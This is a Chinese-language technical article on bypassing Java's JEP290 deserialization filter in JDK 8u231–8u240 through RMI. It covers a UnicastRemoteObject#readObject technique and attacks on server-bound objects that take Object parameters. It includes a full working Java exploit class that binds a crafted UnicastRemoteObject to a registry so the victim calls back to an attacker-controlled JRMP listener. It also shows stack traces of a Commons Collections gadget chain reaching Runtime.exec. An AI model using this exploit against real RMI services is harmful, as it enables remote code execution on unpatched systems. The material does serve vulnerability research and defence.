JEP290下的RMI实现及Bypass 8u231-8u240
字数 1369 2025-08-12 11:34:50
JEP290下的RMI实现及Bypass 8u231-8u240技术分析
前言
本文详细分析在Java 8u231至8u240版本中,如何绕过JEP290安全机制实现RMI反序列化漏洞利用。主要介绍两种绕过手法:通过UnicastRemoteObject#readObject方法的利用,以及针对服务端绑定的特定对象的利用方式。
JEP290修复背景
在之前的利用方法中,攻击者通过RemoteObject#readObject方法的调用导致DGCClient发起任意JRMP请求。Oracle在修复时通过在DGCImpl_Stub#dirty方法调用过程中添加过滤器来阻止这种攻击。
第一种绕过手法:利用UnicastRemoteObject
利用原理
-
目标选择:寻找同样实现了
readObject方法的RemoteObject子类UnicastRemoteObject,它实现了Remote接口可以通过白名单检测。 -
关键调用链:
- 反序列化时调用
UnicastRemoteObject#readObject方法 - 该方法会调用
reexport方法 - 当
csf(客户端socket工厂)和ssf(服务端socket工厂)都为空时进入特定if语句
- 反序列化时调用
-
控制ssf属性:
ssf属性类型为RMIServerSocketFactory- 通过设置恶意的
RMIServerSocketFactory代理对象,可以控制连接行为
-
导出过程:
- 调用
exportObject方法,封装参数为UnicastServerRef2对象 - 最终调用
LiveRef#exportObject方法 - 触发
TCPEndpoint#newServerSocket方法,创建socket连接
- 调用
-
绕过关键点:
- 使用
RemoteObjectInvocationHandler代理触发远程调用 - 通过
UnicastRef#invoke方法触发StreamRemoteCall的executeCall - 在
invoke方法调用过程中建立JRMP连接时没有过滤器检查
- 使用
利用构造代码
package pers.rmi;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.util.Random;
import java.rmi.server.RemoteObject;
public class BypassJEP290ByUnicastRemoteObject {
public static void main(String[] args) throws Exception {
UnicastRemoteObject payload = getPayload();
Registry registry = LocateRegistry.getRegistry(1099);
bindReflection("pwn", payload, registry);
}
static UnicastRemoteObject getPayload() throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);
return unicastRemoteObject;
}
static void bindReflection(String name, Object obj, Registry registry) throws Exception {
Field ref_filed = RemoteObject.class.getDeclaredField("ref");
ref_filed.setAccessible(true);
UnicastRef ref = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
operations_filed.setAccessible(true);
Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name);
outputStream.writeObject(obj);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
调用栈分析
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
access$800:214, ObjectInputStream (java.io)
readFields:2452, ObjectInputStream$GetFieldImpl (java.io)
readFields:601, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy0 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:236, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
第二种绕过手法:攻击服务端绑定对象
利用场景
适用于攻击服务端,当服务端bind了一个对象,且该对象方法具有Object参数时,可以绕过JEP290。
利用条件
- 绑定的对象继承了
UnicastRemoteObject类 - 对象方法中包含Object类型的参数
利用原理
- 在创建绑定对象时,会触发其构造方法进行导出
- 封装成
UnicastServerRef对象 - 不同于
RegistryImpl,这里没有添加过滤器 - 在调用方法对Object参数进行反序列化时触发漏洞
调用栈分析
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
unmarshalValue:322, UnicastRef (sun.rmi.server)
unmarshalParametersUnchecked:628, UnicastServerRef (sun.rmi.server)
unmarshalParameters:616, UnicastServerRef (sun.rmi.server)
dispatch:338, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
总结
- 第一种方法通过
UnicastRemoteObject#readObject触发,利用ssf属性控制连接行为,绕过过滤器检查 - 第二种方法针对服务端特定绑定对象,利用Object参数反序列化漏洞
- 两种方法都利用了RMI底层实现中的不同路径来绕过JEP290的安全机制
- 关键点在于找到不受过滤器保护的调用路径和反序列化点